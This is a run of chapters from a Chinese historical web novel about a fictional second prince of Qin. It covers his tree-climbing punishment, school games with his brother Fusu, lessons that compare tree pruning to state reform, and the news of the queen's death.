“上课和玩能一样么!”公子斐理直气壮,:“你看,辰哥也不虚了!”他指着在操场上撒欢的公孙辰道。 阴嫚:“……” “算我白担心了,搞不懂你们。”她摇着头和元嫚清嫚一起下课了。公子斐则一直等公孙辰和公孙怡被接走了才走。 公子扶苏原本想先走,但看公子斐一直陪着等公孙辰,他想了想竟也留下来等他。他这举动让公子斐有些惊讶,又有些感动,他当即就邀请公子扶苏有空来羽阳宫做客。 公子扶苏很是心动的同意了。这还是第一次有人邀请他去做客呢! 说来也是郁闷,公子扶苏的母家远在韩国因此没有同龄的表兄弟。身为大公子,许多人捧着他的同时彼此也隔了一层,与他并不亲近。以至于他长这么大却完全没有能说得上话的同龄人。 开学之前,他与公子斐虽是亲兄弟,但彼此的走动还没公孙辰那个表兄多,就逢年过节的宴会上互相看一眼而已。现在只短短一天就被邀请做客,增进联系,公子扶苏心里简直乐开了花。 “那就有劳二弟接待了。”公子扶苏努力让自己不要太灿烂。 “应该的!应该的!”公子斐热情欢迎。 一起聊了课业,又一起看公孙辰与公孙若的笑话,等他们都走了,公子斐和公子扶苏才结伴离开。 他们在半路分手,各自回宫。等只剩自己一个人了,运动过量的疲惫也终于涌上心头。 公子斐现在饭都不想吃只想赶紧洗洗回房睡觉。但当他拖着沉重的脚步踏入羽阳宫宫门,他才恍然想起宫里还有一件事等着他呢。 是的,监督他爬树的宿卫们正安静的在宫中等待。 公子斐:“……” 什么叫傻眼,这就叫傻眼。在芷阳宫玩的太开心他完全忘记还有这回事了。 “能让我休息一会吗?”公子斐充满希望的问。 宿卫含笑点头,表示自己并不介意再多等一会儿。 只是…… “算了算了,斐也休息了不少时间了。” 好吧,看他们直挺挺的站在院子里,公子斐休息都休息的不安心。 还是早爬早结束吧。 于是,简短的休息了一下,喝了两碗水,公子斐便迈着沉重的不步伐向院子里的大树走去。 必须得说,这是他爬树爬的最累的一次。因为腿脚酸软,中间还踩空了两次,掉下来一次。等六棵树都爬完,公子斐是真站都站不起来,只能坐在树根上喘气了。 不过,也必须承认,这种情况艰难的爬树比平时如入无人之境的爬树有意思多了。一脚踩空的时候他真的大脑一片空白,但摔在麻布上那种心有余悸的感觉,真的又爽又刺激。 他已经好久没这种感觉了。 要不是他摔下来导致周围一片混乱,又是叫医工又是上报父王阿母,又是递水擦汗扇风搀扶的,他真的有种再来一次的冲动。 可惜…… “阿斐!” 最先赶到的是公孙蓉,今天是学宫开课第一日,虽然后宫有很多事情要忙,但几位主事人都不约而同的将不急的事务暂时延后提前回宫了。公孙蓉也是。没想到她才回宫没多久,还在换衣,就突的接到宝贝儿子摔下树的通知。 “二公子情况如何?” 公孙蓉赶到的时候医工正在检查,她不敢贸然上前打扰医工判断,只能焦急的在旁边打转。 “回美人,二公子略有受惊,但无大碍。”好一会儿,医工前来汇报。 “好好好!”得了确切答复,公孙蓉赶紧上前关心儿子。她上上下下的将公子斐打量了一遍,再次确定儿子没落得缺胳膊短腿的境况后这才放心的将人抱在怀里。 “你这竖子!要叫阿母担心死么!”公孙蓉一边轻柔的抚着公子斐的后背,一边斥责。 “这也怪我?”公子斐郁闷。不过他也理解,毕竟公孙蓉是不能怪给予他惩罚的嬴政的。 “好了没事啦,宿卫们的防护措施做的还是很不错的。”他只能靠在公孙蓉怀里安抚她。 刺激什么的就还是别提了吧。 好一会儿,感觉母亲差不多平静下来了,他才从她的怀里退出,问宿卫惩罚还要不要继续。 匆匆赶来确认公子斐情况,许久不见的陆献陆内侍在公孙蓉利箭般的目光中苦笑着表示“王上说若是无事那便继续”。 公孙蓉大怒,当场起身要冲去章台宫觐见。 公子斐连忙拉住她。 “本来就是惩罚,这也是应该的嘛。”因为一下课就见宿卫排排站,所以公子斐对现在的情况也不觉意外。“就剩两棵树了,我很快就能爬完的。” “可是……”虽然确实想让嬴政治治儿子,但真遇上这种情况,公孙蓉还是不忍心。 也是,这毕竟是她一手带大的孩子,她要是能狠得下心,那也不用指望嬴政了。 “安啦安啦。”公子斐伸手抱了抱她。“阿母是匆忙赶来的吧,头发都还没干呢,这样很容易生病的。反正这边很快就能结束了,阿母要不先回去擦擦头发?” “你这是嫌我多事了?”公孙蓉立刻瞪他。 “哪有!儿是关心阿母呢!”公子斐叫冤。 公孙蓉忿忿的睨了他一眼,好一会儿,她也没离开,只一甩袖站在了一边:“本宫今天就在这里看你爬树。” 出了这种事,她实在无法安心回宫。 公子斐无奈的望着她,确定她不会再更改意见,他转头便呵斥公孙蓉的侍女:“还站在这里作甚,你们难道就这样让阿母吹风?” 侍女们赶紧拿着早已准备好的巾帕上前,拥着公孙蓉往侍从们紧急铺设的席子走去。 公子斐犹豫了一下要不要等公孙蓉坐好再继续,他想了想,还是决定速战速决。 早点结束阿母也好少吹点风。 他很快重新开始爬树。 用最快速度完成接下来的爬树惩罚,有公孙蓉盯着,精神特别集中的公子斐没再出现脚滑的失误。他顺利完成今天的惩罚,和公孙蓉一起回宫了。 “今天就这样吧,早点休息。” 没有像以往一样要求公子斐汇报功课,公孙蓉吩咐直接将晡食送去公子斐的偏殿。 “倒也没有这么累。”公子斐感觉自己被小瞧了。可能是过了最累的那个劲,他现在竟是感觉还好。 公孙蓉对他呵呵一笑,也不多说,直接将他赶去了偏殿。 公子斐:“……” “总觉得阿母最近特别暴躁,是我的错觉吗?”他问刘言。 刘言谨慎的扫了一眼已然关闭的正殿大门,中规中矩道:“美人也是关心公子。” 公子斐:“……” 行吧,是他白问。他歪了歪脑袋,拖着真快走不动了的双腿挪回了偏殿。 学宫的第一天就这样鸡飞狗跳的过去了。一夜好梦过后,又一个鸡犬不宁的早晨到来了。 第二日清早,羽阳宫紧急请医工看诊,医治公子斐绵软如瘫痪的双腿。 “我都说不用了……” 捂着脸趴在席子上,公子斐感觉自己简直没脸见人。他就没听说其他几宫也有这种情况的。 “公子比大公子和三位公主多了一项任务,更加疲累也是应当。”刘言一边为帮公子斐按摩的医工打下手一边安慰。考虑到公子斐的惩罚还有好几天,他已决定趁公子斐上学的时候去太医院学一些按摩手法以作备用。 “是呀,这都是常事,公子实在不需如此羞怯。” 负责酒水饮食的李淇现在也负责汤药的熬制。他先将外敷的端给医工,自己则端着一剂安神汤吹凉。——这安神汤是昨日受惊后医工开的汤药,号称药到病除,但公孙蓉不放心,硬是让医工开了三天的量。 “呜……”公子斐听着更不想见人了。 “还要多久?就快到学宫开课的时间了吧。会不会来不及?”他急切道。 “差不多了,二公子放心,定不会让您错过今天的课程。”留着一大把白胡子的医工慢吞吞的回复。 这也算是可以预见的情景,所以整个太医院都事先得到命令来咸阳宫待命了。不仅是卫美人的羽阳宫,楚夫人的平阳宫今天也叫了医工,只是二公子不知道而已。 事实上,有公子公主要入学的几宫都被提醒过这一点,所以侍从们今日叫早也特地预留了看诊时间,不诊出什么大病的话绝不会 12. 第十二章 《秦二公子升职实录》全本免费阅读 谢天谢地,蒙毅先生真的没有狠到让他们全员趴下的程度。下午的活动课,他只让学生们跑了一圈就放大家自由活动了。 不过,也不是所有人都能活动,上午告假的,活动时间得去补课,追一下进度。于是,早上病歪歪,下午兴冲冲的阴嫚就悲剧了,她的脚还酸着呢,就是为了和大家一玩才艰难的从席子上爬起来的。结果她都还没来得及志得意满的向公孙怡她们展示她新琢磨的花绳就要被赶去上课了。 “明明羽阳宫也传了医工,为什么只有我一个人要补课啊!”阴嫚不服气。 “大概因为我坚强的来上课了?”公子斐望天。虽然他很想请假,公孙蓉对此也有些意动,但公子扶苏都特地来看羽阳宫探望了,他们实在不好意思让他一个人孤单寂寞去上课。 索性听课也不废什么劲,和在宫里休息就差了一口气,公子斐努力了一下,顶着酸软的脚站了起来。 “你昨天不是还摔下树了么,怎么不多休息一下?”阴嫚欲哭无泪。 她只是不想一个人补习,透露的消息却是惊呆了周围一片。 “二弟你这……你怎么不早说!”公子扶苏担忧的蹲下身观察公子斐的双腿,“是哪里摔到了?”他关切的问。 “是啊!怎么都没听你说起!”公孙辰也急,“家里是不是还有一只鹿茸,好像是大伯送的,我们回去就给你送来?”他先问公孙怡,又问公子斐。 “不用啦,没事的。”公子斐连忙摆手阻止了他。“只是不小心脚滑了一下,宿卫们事先做了很好的防护,斐一点儿也没受伤。”他说着还试图在原地跳两下,展示自己的完好无损。 公子扶苏赶紧按住他。 “还以为你很擅长爬树呢,没想到……你这惩罚要到什么时候?”他问。 公子斐被惩罚的原委基本整个咸阳宫都知道,公子扶苏也不例外。他原本并没有在意这个说重不重说轻不轻的惩罚,只是听过就算,现在发现其中的危险了,便不由的担心重视了起来。 “之后活动课不会少,你到时……” “哎呀别担心,昨天只是一时玩太过了,接下来我会注意的。”公子斐保证。“只要跑步结束好好休息,我想应该没问题。” “那你岂不是要和我一样了。”公孙辰一下乐了。 “别想太多,我只剩最后几天了。”公子斐向他吐了吐舌头。 公孙辰:“……” 一通暖心的慰问过后,众人送别了迎风落泪的阴嫚。待她沉重的身影彻底消失在殿门中,所有人立刻兴奋了起来。 “所以,今天我们玩什么!”公孙辰两眼放光。 “投石吧投石!” “摔跤!” “二公子这腿能摔么?” “别小看我!” 大伙儿热热闹闹的玩了起来。 大抵群体活动确实容易结交友人,经过昨日的蹋鞠,今天和公子斐他们一起玩的人更多了。他们最后决定玩文雅不怎么费力的投石。 “输了要惩罚!”以高超的球技在昨日大放光芒的王安大声提出自己的意见。 “罚什么?”这是一个大问题。 “背诗?”公子扶苏提议。 “玩就不要说功课了吧。”胡毋礼哀叫。 “就是功课才叫罚吧,我们又不能玩钱。”虽然大家都不缺钱,但至少现在,都还是听家长话不赌钱的乖宝宝。 “这样,赢得可以对输的提一个要求,怎么样?想让人背诗的就背诗,想玩别的也随意。”公子斐结合公子扶苏的意见倡议。 “连赢连输的不能连罚!”公孙辰要求,他对自己的水平很有数。 “也行,我们这么多人,赢家和输家自动退出三轮如何?” 这提议获得了大家一致的认可,于是,游戏开始。 投石有两种玩法,一种是比谁扔的远,简单直接,另一种是在地上画圈,定个规则看谁扔的准。 既然要玩,要惩罚,当然是玩更复杂的。 公子们让内侍拿了几条绳子依次过来铺在地上划出区分,又随便找了一块扔了条汗巾做目标,开始比试。 第一轮,王安胜,公孙辰果不其然输的一败涂地。六七八个人扔,他是离目标最远,离投石点最近的。年纪最小的三公主清嫚扔得都比他远。 “这合理吗!”公孙辰很不想承认,但他显然不能意念移动自己扔出去的石头让成绩好看点,所以也只能认栽。他被王安简单罚背《诗》一首,背完就和王安一起出局轮换了。 “这里吧。”作为胜者,王安有决定下一轮目标的权利。他简单粗暴的选了最远的地方做目标。 第二轮开始。 这一轮,获胜的是昨天和他们一起踢球的新朋友冯葵,这是冯毋择冯将军的儿子,输的则是公子斐。 怎么惩罚领导的儿子,这是个问题。冯葵很是纠结的想了想,最后也选择罚背。 “等一下等一下!背书有什么意思!罚点别的嘛!这家伙故意输给你,该重罚!”已经输下场事不关己高高挂起的公孙辰强烈抗议。 “我们是未出五服的亲戚吧?”公子斐难以置信的瞪他。不带这么坑人的吧。 要不是清嫚抱着他的腿求他网开一面他至于么! “话是这么说,但我不知道该罚什么哎。”冯葵抓着脑袋苦恼。“我本来想罚跑步的,但二公子这不是刚摔了么。别的……别的我也想不出来了,要不你们提点意见?”他恳切的看向众人。 诸位公子女公子们面面相觑,一时还真提不出什么意见。 “你抗的议不如你帮冯葵想想?”公子斐凉凉建议。 公孙辰这下不说话了。他从小身体不好很少和同龄人一起玩,这会儿其实也提不出什么意见。 或者说,公子斐毕竟是二公子,有些惩罚有也不方面提。 “这样,我有个提议,我们来抓阄吧。”好一会儿无人回应,最后还是公子斐自己提议。 众人一齐看向他。 “把自己能想到的惩罚都写在竹简上,然后胜利的人如果想不好该怎么惩罚就随便抽一支,如何?”公子斐道。 “可以。”同为公子的公子扶苏第一个支持他。他很清楚,如果自己不表态,其他人也是不方便表态的。 “那好那好,就这样好了!” 两位公子都表示了自己的态度,其他自然无有不从。公子斐很快命人拿来了竹简和签筒,一人发了一支竹签写惩罚。 “不管什么都可以,重复背书跑步也行,输的人不许耍赖。”刷刷两笔写完自己的想法,公子斐率先将自己的竹简扔进签筒。 在他之后,众人也陆陆续续的写完了自己的想法。他们或是带着期待的眼神,或是带着神秘的微笑,先后将自己的竹简扔进签筒。 “那我抽了。”等所有人的竹简收集完毕,冯葵摇了摇手中的签筒打乱竹签,带着几分紧张与期待的向签筒伸出了手。 他深吸一口气,闭眼从中抽出了一支。 “问蒙先生明天跑不跑步?”他盯着手中的竹简道。 公子斐:“……” 虽然很想将提议人揪出来撸一顿,不过现在不是这个时候。自己的提议自己承受的公子斐苦大仇深的盯着竹简看了一会儿,很快就带着一脸就义表情转向了蒙毅所在的方向。 “你真去啊。”公孙辰小声问。经过昨天的放狗经历,蒙毅噩梦般的身影已经深深的印在了众人的心中。虽说不上闻之变色,但也绝不想单独面对。 “不然呢?”公子斐白了他一眼。作为提议者,如果他都不能做到,那后面也不用玩了。况且,游戏嘛就是要愿赌服输,不然就没意思了。 “那要不我陪你去?” 公孙辰和公子斐的声音同时响起。两人互相看了一眼,公孙辰默默抬手做了一个请的动作。 人家才是亲兄弟,他不争。公孙辰退出的很坦然。 “算啦,也不是多大的事。” 不过,公子斐摆了摆手拒绝了。他对蒙毅并没有什么害怕的情绪,问个问题还是可以的。是以,他只伸手轻轻捏了一把清嫚的小圆脸,对她皱了皱脸,留下一句“被你害死了”就潇洒离开了。 清嫚呆呆的望着他离开的背影, 13.第十三章 《秦二公子升职实录》全本免费阅读 上课,锻炼,做功课。 上学的日子就这样热热闹闹的过去了,很快,官员们休沐的时间到了,学宫放假的日子也到了。 “不饿,不起,不听,不看,我今天非得睡够不可!” 一大早,公子斐就蒙头赖在席子上抵抗刘言李淇毫无力道的叫起。学宫上学的时间比他之前起床的早的太多,他每天早起都是一种折磨。 “睡够?”公孙蓉可不惯着他。“是谁邀请别人休沐的时候来玩的?”她一把掀了公子斐的被子,“你难道还要让客人等你?” 公子扶苏当然不会来这么早,但羽阳宫难得有客人来,他们当然得提前准备——等公子扶苏来了公子斐要是还躺在床上那像什么样子! “客人?”刚开学就约,这会儿公子斐差点都要忘了。“是了,大哥今天要来。”虽然他也不确定他还记不记得。 “唉,怎么就只休沐一天啊,这哪够!”不甘不愿的在席子上滚了一圈,公子斐皱着脸起床了。他在刘言的服侍下换了一套比较正式的待客装,安静的捧着一卷书开始等人。 他没有等太久,公子扶苏吃了朝食就兴匆匆的过来了。和他一起来的还有他的母亲郑美人。 “稀客!什么风把你吹来了?”第一个迎上去的是卫美人。她很是亲热的挽着郑美人邀请她往里走。 “可不就是羽阳宫的风?”郑美人也笑。她斜睨了一眼跟在她身后的公子扶苏,娇嗔:“呆子,还不快想卫美人问好!” 公子扶苏赶忙照做。 接着,还不等公子斐也向他们问好,郑美人就如同开学那天一样抱怨起公子扶苏的木讷了。 两位美人又是一顿商业互吹。直到几人都入了正堂,她们才终于停下寒暄。 四人稳稳的在正堂就坐,待上了酒水果干,郑美人终于透露她亲自前来的目的——她在公子扶苏不好意思的目光中向公子斐打探起他上学的情况。 “大兄很好,学得很快,先生们常常表扬他。”这种时候公子斐当然是不会说什么不好的,公子扶苏也确实没什么不好。“大兄对我们兄弟姐妹都挺好的。”他真诚道。 或许是出于大公子的责任,虽然之前都只有浅浅的几面之缘,但上学的时候公子扶苏是真的十分照顾公子斐的。当然也不只是他,比他年长的元嫚阴嫚和他们共同的小妹清嫚都在他的照顾之中。只是公主平日和他们分属两殿,所以日常在一起的公子斐对此感觉尤甚。 “大家都很喜欢大兄。”公子斐笑道。 郑美人顿时松了一口气。 “我们大公子不太喜欢说话,妾总担心他在学宫里也是这般,与诸位公子们搞坏了关系可就不好了。”郑美人满是忧虑。“看来他在学宫情况还好,那妾也就放心了。如果有什么不对,还请你们多多包涵。” 公子斐一直以为郑美人说公子扶苏木讷是一种谦辞,现在他却觉得——她不会真这样认为吧? 他有些难以置信的看了公子扶苏一眼,公子扶苏无奈向他耸了耸肩。 公子斐:“……” 郑夫人问了公子扶苏的情况,卫美人自然也要问问公子斐的情况。 公子扶苏对公子斐十分喜爱,自然也不会说他不好。他着重赞叹了公子斐的活泼灿烂,高度赞扬他与学宫同窗们的友好关系。 “大家都愿意与他一起玩。”公子斐真挚道。 对于这一点,他还有点小羡慕,但因为公子斐从来也不会落下他,所以他的这点小羡慕终归也只是羡慕。 他很高兴他们能一起上学,一起锻炼,一起玩耍。 “看来你们兄弟感情不错。”带着笑意听公子斐说完,卫美人自然也松了一口气。她带着一点意外一点理所当然的问。 “是的。”公子斐和公子扶苏一齐点头。 郑美人则与卫美人一齐笑了起来。 “瞧我们,不知不觉就说了这么多了,你们怕是都等烦了吧。”郑美人巧笑倩兮。 “去玩吧,院子里或者偏殿都行,等累了再回来。”卫美人美眸盼兮。 两人一同释放了解放信号,公子斐和公子扶苏两眼一亮,连忙告退。 他们一起去了羽阳宫的院子。 “可算是安静了。”一出门,公子斐就吐槽。 “阿母她一定要过来。”公子扶苏也是无奈。这本只是他们两人的事,现在简直变成两宫的事了。 “郑美人也是担心你嘛。”公子斐对此表示理解。“我阿母不也是这样?”他耸肩。 “也是。”公子扶苏释怀的笑了一下,他略带好奇的打量院子里的大树,小声问:“你平时就是爬这些树吗?好玩吗?” 公子斐一言难尽的扫了他一眼,目光满满都是“没想到你是这样的扶苏”。不过,大兄都问了,他当然是要回答的。 公子斐简略将自己从“刺激到早爬早完事”的心路历程讲了一遍,见公子扶苏似懂非懂,他心中深深的涌起一股怂恿他试试的冲动。 你要按耐你自己!公子斐眨了眨眼,告诉自己。 他想了想,对公子斐说:“大兄若真是好奇,等会儿宿卫他们来了你也可以在旁边看。”虽然是休沐日,但惩罚还是没有结束的。 “这怎么好意思。”公子扶苏连连摆手。他觉得被罚是一件十分丢脸的事,公子斐定是不愿有旁人围观的。 “他们大概什么时候来?”他好计算着时间催郑美人离开。 “已经派人通知了,今日会等晡食再来。”有客人要来当然要提前做好安排。公子斐其实并不觉得给公子扶苏看有什么丢脸的,但架不住其他人都这样觉得。他们似乎认为这会让公子斐低公子扶苏一头。 “那还好。”给他们留出了充足的玩乐时间。公子扶苏轻吁一口气。“所以我们玩什么?”他主动进入今天的正题。 宫里能玩的东西,羽阳宫和萯阳宫其实都差不多。不过因为郑美人管得严,公子扶苏很多都没玩过,甚至都不清楚这些东西的存在。卫美人在这点上就与郑美人不同了,她也抓学习,从不松懈,但孩子天性里的烂漫她也不想打压,给公子斐留出了充足的玩乐时间。宫里宫外什么时新的玩意她都愿意买来让公子斐体验。 “真好。” 在公子斐的带领下玩了蒲车又玩投壶,巧板,鲁班锁,还欣赏了一番公子斐的敲碗技艺,公子扶苏感觉自己长这么大从来没有这般轻松愉快过。以至于两位美人的侍女们来唤他吃饭的时候,他才恍然发现一天的时间竟然就这样过去了。 “简直感觉不到时间的流逝。”公子扶苏喃喃。 “你以前过的都是什么日子啊。”公子斐忍不住吐槽。 公子扶苏沉默。 在吕王后没有诞下嫡子前,身为长子的他就是秦王室的默认继承人。虽然从未言明,但郑美人一直是用对太子的态度来要求他的。 现在,由于吕王后被权夺,宫中盛传她失宠的流言。没了吕王后诞下嫡子夺权公子扶苏的压力后,郑美人对公子扶苏的管教更加严格了。他每天回去都得花许多时间温习预习功课,根本没有时间玩耍。 “就,就是这样的日子吧。”公子扶苏叹气。 谁叫他是长公子呢。 公子斐对此也只能耸肩。 一顿特别丰盛,满溢肉香的哺食过后,公子扶苏依依不舍的和郑美人一起告辞了 14.第十四章 《秦二公子升职实录》全本免费阅读 花木的修剪主要分两种情况。 一种正如公子斐所说,是为防治病虫害。陈胡日常检查便是为此。宫中的花木并不常有病虫害发生就是因为他们工作的认真。 另一种则是为了宫中贵人的审美,或者说园艺的美观。 宫中的花木是不允许肆意生长的,那会伤害贵人们的眼睛,损害他们的审美。所以,为了能长得更高,有些要剪除侧边的枝叶,为了有好看的形状,有些则要砍断主干。这种对花木本身来说并无必要的修剪无疑是一种伤害,使它更容易遭到虫蚁病害的侵袭,于是,为了保住这些大树,他们花工需要更努力更仔细的照顾。 另外,如果树长得太高会不方便修剪,所以超出一定高度的树种会被挖掉,重新换上树形相似的新树。 “是说宫里的大树根本活不了太久的意思吗?”公子斐惊讶。他之前好像完全没注意过这方面。 “不,不是的,挖掉的老树会另外卖掉或者移栽,卖不掉的才会砍了烧柴。”陈胡连连摆手。 “这好像和直接砍了也差不了多少。”公子斐扶额。“这种老树一般是移到哪里?”他问。 “有些会移栽到别苑,猎场,有些会移栽到先王的陵园。”陈胡老实道。 “这和宫里有什么区别?”公子斐又不懂了。 “回公子,宫里都是贵人,未免刺客借力,也为显现王室威严,对花树的品种高度都有要求。别苑以游乐为主,要求会少一些,猎场和陵园则基本没有要求。”陈胡道。 “还有这种区别啊。”公子斐一副长知识了的模样。 “微臣在重修甘泉宫时曾负责过花木选种,对此略知一二。”陈胡低头。 甘泉宫是渭水南边的一处行宫,秦国有许多位太后曾在此居住。嬴政亲政前也曾修缮甘泉宫计划让赵太后移居,但由于蕲年宫之变,修好的甘泉宫现在还空置着,也不知道赵太后什么时候才会住进去。 或者,还有没有机会住进去。 想起从公孙蓉那里听到的前朝风云,公子斐不由抖了抖。这个问题似乎已经死了好多人了,并且可能还要再死更多。大臣仿佛和父王杠上了一样接二连三的提,一点儿也不怕丢命。 父王和赵大母好不好到底和他们有什么关系啊。公子斐对此表示不解。 公孙蓉解释说秦王是秦国的表率,不能有不孝之举。 “但这不是赵大母先有错吗?”公子斐又问。 “主擅杀、刑、髡其子、臣妾,是谓‘非公室告’,勿听。”公孙蓉道。 “也就是父母可以不慈,孩子却不能不孝的意思吗?”公子斐郁闷的扁了扁嘴。 “毕竟身体发肤受之父母,没有父母,又哪有子女?”公孙蓉摸了摸他的脑袋。 公子斐顺势蹭了蹭她的手。 “再说了,你父王小时候与太后在赵国相依为命,没有赵太后就没有现在的秦王,如此重恩,确实不能不报。”公孙蓉又道。 “好吧,那就祈祷父王早日消气吧。”公子斐嘟着嘴不甘不愿道。“话又说回来,生气的时候明明静下来好好想想就能消了大半了吧,大臣们这样三天两头的提难道不只是让父王更生气么?” 这公孙蓉也不是很理解。 蕲年宫之变才过去没多久,嬴政明显还在气头上,大臣们这样前仆后继看着确实挺像找死。 “可能是赵太后找他们求情了吧。”公孙蓉猜,“许以重金重利。” “这就是‘人为财死,鸟为食亡’吗?”公子斐换了个姿势,将脑袋枕在公孙蓉的膝头。“真可怕。”他说。 “是啊,真可怕。”摸了摸公子斐的脑袋,公孙蓉也是叹息。 想起赵大母就想起与她相关的一连串血雨腥风,公子斐甩了甩脑袋将她甩出自己的脑海。他将注意力重新集中到花工和大树上,转而问起修剪的问题。 “虽然我们每半个月就要修剪一次,不过这种一般都是小的修剪。一年中最主要的修剪一般是在春秋两季。春季是树木生长的的时候,这时候修剪可以控制枝叶的生长方向。秋季则是为防冬季积雪压枝,惊扰贵人。” 公子斐沉吟。 “控制枝叶的生长方向……”公子斐默念,“按阿母的说法,变法是为了控制国家发展的方向,两者竟真有相似之处……” 公子斐有点小惊讶。虽然并不怀疑公孙蓉的说法,但这么简单就能互相联系上也确实叫人惊讶。 “至于冬季……这个是只为了防止积雪压枝吗?”若真是如此,他就准备直接将这条略过了。 “也不是,冬季是花木休眠的时候,这时候剪枝对植物的伤害会比较小,而且,冬季水分减少,剪枝能减少水分的浪费,帮助它们更好的过冬。”陈胡连忙否认。 “哎,这么说如果不是为了控制植物生长方向,最好是在冬季剪枝,是这样吗?”公子斐眨眼。 “是的。”陈胡忐忑的点头。 公子斐又陷入了沉思。 按这个说法,春季剪枝其实是多余的,纯粹是为了好看?如果不是为了控制植物生长方向,其实只要冬季剪枝就行了。 套入变法的话…… 冬季剪枝算是日常的人事调动,春季剪枝则是非常规的变法? 可以这样套吗?感觉说得过去又似乎有点不对。 公子斐捏着笔冥思苦想。 他想了好一会儿也没有更好的想法,只能暂时将这些信息都记在木牍上,等下回上课找甘罗再问。 不过有一点可以肯定的,每日观察代表着要及时发现问题。如果能及时减除病虫害……理论上来说这就不需要再修剪了吧? 公子斐苦恼的挠了挠脑袋。 哎,问题真多。 公子斐刷刷刷的在木牍上写了起来。 又问了一些具体怎么修剪的问题,感觉和变法关联不大,公子斐就另外拿了一块木牍单独记录后放在了一边。 将想问的差不多都问完,公子斐喝了一口水,正想放陈胡离开,他余光一扫竟是又想起一件事。 “大树的树根能砍么?”公子斐问。 陈胡很是迷惘的回视他:“树根?……就砍树根吗?” 公子斐点头。他指了指自己常坐的那一节树根:“这个如果砍下来会坏掉吗?” 这树根坐着还蛮舒服的,他有点想冬天的时候抬到室内去坐。 “可以是可以。”陈胡迟疑:“只取一截的话并不会影响树木生长,不过,砍掉这一截影响美观,到时候应该会挖掉重种。” 他实话实说。 公子斐:“……” 这好像就有点不至于了。爬了这么久的树他对这棵树也算有点感情,挖掉重种什么的多少还是有些舍不得的。 “反正就在宫里,我随时可以来坐。”小声安慰了自己一句,公子斐很快放弃了砍树根的心思。他谢了陈胡的解答,大方给了一金的赏赐,终于摆手让他退下了。 “有能对的上的,也有对不上的,感觉和阿母说的差好多……” 对着木牍的笔记回忆了一番陈胡的说辞,公子斐苦恼的叹了一口气。 总觉得脑子有点不够用了。他忧伤的放下了木牍。 计划赶不上变化。 因为文信侯吕不韦终于要出发前往封地养老,到了上课的日子,甘罗这位他曾经的门客告假去为他送行了。公子扶苏和大公主元嫚也一同告了假,他父王嬴政更是亲自将他送至咸阳城郊,目送车队离去。 公子斐后来听说连病倒多日的吕王后都强撑着起来见了他一面,心中为吕不韦的影响咋舌的同时,他也微妙的对他产生了几分好奇。 说起来,公孙家也是多亏了他才有今天呢。要不是吕相的邀请,公孙家也不会前来秦国,阿母说不定就嫁给别人了,那他也就不会出生了。这么说他还得感谢这位传奇国相来着。 也不知道他究竟是个怎么样的人。能在秦国造成这么大的影响,让这么多人为他送别,应该是个很有魅力也很有能力的人吧。 公子斐以前也知道吕不韦影响力大,但知道归知道,直到今天他似乎才对他的影响力有一个真正的概念。 总觉得有些遗憾呢,没能和他真正见上一面。瞟了一眼公子扶苏空着的座位,只在去年年底的宴会上远远见过一次吕不韦的公子斐想。以后有机会将他编的《吕览》借一套来看看好了,听说他曾经悬赏一千金都没有人能帮他更改一个字。那一定是一部经典中的经典吧,他充满期待的想。 送别了吕不韦,咸阳宫很快恢复了宁静,公子斐也终于等到了甘罗的新课。 “如果以修剪做变法,冬季剪枝算是日常的人事调动,春季剪枝则是非常规的变法?如果平日里仔细观察,即使进行人员调动,是不是就不需要大刀阔斧的变法了?如此说来,监察机构的建设是重中之重吧,难怪父王将御史大夫提到了仅次于丞相的位置。” 他一开始还以为这只是为了抑制文信侯的权利呢。 甘罗:“……” “公子还有其他问题吗?”他谨慎的问。 “有!”公子斐立刻道:“按花工的说法,春季剪枝只是为了讨好宫中贵人,那是不是可以认为如果贵人们喜爱枯枝,那即便有害也不会被修剪呢?也就是说,之所以朝堂会发展到需要变法的程度,主要还是因为贵人的喜好?” 公子斐期待的望着甘罗。 甘罗眨眨眼,飞快思索着回复。 老实说,在此之前他完全没想到花工竟会做出这样一个回答。不过这也难怪,官宦家庭出生的他从小就是公子哥,确实也没有关注过这方面的问题。 幸好,花工的回答虽然有很大一部分出乎预料,但并不是全部,预料之内的那一部分用来应付小朋友对甘罗来说也已经足够了。 “首先,容在下先回答第二点。”甘罗微笑道,“贵人,或者直接说王,是国家的掌控者,所以他的喜好确实会影响国家的发展。君不见周朝先王勤政爱民,国家便富裕安康,后代子孙好逸恶劳,周也渐渐弱小,以至于被消灭。” “那该怎么让好逸恶劳的子孙重新变得勤政爱民呢?”公子斐问。 “这除了依靠吾等大臣们的劝诫外便只能靠王自己了。”甘罗无奈。 “所以,变法就是重新变得勤政爱民的王,对先代好逸恶劳的王造成的恶果的一次剪枝吗?”公子斐似懂非懂。“还是得要有新的勤政爱民的王才能进行的剪枝——这不完全就是看王的心情嘛。”公子斐皱眉,“这也太不——” “二公子!”甘罗突然出声打断了他。 公子斐微微一愣,闭嘴了。 “好吧,那斐换个问题。”抿了抿唇,公子斐又问:“那都是变法,为什么孝公交由商君主持的变法成功了,厉王交由荣夷公主持的变法就失败了?” “这个么……”这个问题可就好回答多了。“正 15.第十五章 《秦二公子升职实录》全本免费阅读 春去秋来,两年的时间一晃而过。秦王政十二年,公子斐七岁了。 “县除小佐毋秩者,各除其县中,皆择除不更以下到士五史者为佐,不足,益除君子子、大夫子、小爵及公卒、士五子年十八岁以上备员,其新黔首勿强,年过六十者勿以为佐。意思是……” 这天,清瘦的李斯李老先生照例在台上教导秦律,台下的公子们一边听一边记,抄错了的削片声时有响起,墨笔书写的唦唦声不绝如缕。 噔噔蹬蹬! 突然,一阵疾驰的脚步声自外边传来,李斯微皱着眉扫了一眼宫门,放下竹简,转头看向来人。 “报!王后薨了!” 前来通报的是公子斐颇为熟悉的陆献。此时的他不负平时的从容,面色苍白,满头大汗,连头冠都有些歪。 “大王诏令,即日起学宫停学三日,所有公子即刻回宫,准备丧仪。” 公子斐:“……?” “什,什么!” 片刻的沉默后是群情哗然,七八岁年纪的公子们多少已经是知道生死差别的年纪了,但真遇上许多人还是第一次。更何况这还是地位如此特殊之人的丧事。 一时间,大家互相看来看去,都不知该说什么。只是渐渐地,所有人的目光都集中在了平日与公子扶苏和公子斐玩得最好的公孙辰身上。 公孙辰:“……” 他在众人意味不明的期盼中起身,迈着沉重的步伐向公子扶苏走去。还没来得及靠近,就见两位公子不约而同的起身,互相对视一眼后双双向门口冲去。 “大姐!” 他们在门口被李斯拦下了。 “两位公子还请遵循诏令回宫。”李斯恭敬道。 公子扶苏面露迟疑,公子斐却是一点不给面子的向他呵斥:“让开!” “两位公子还请遵循诏令回宫。”李斯重复。 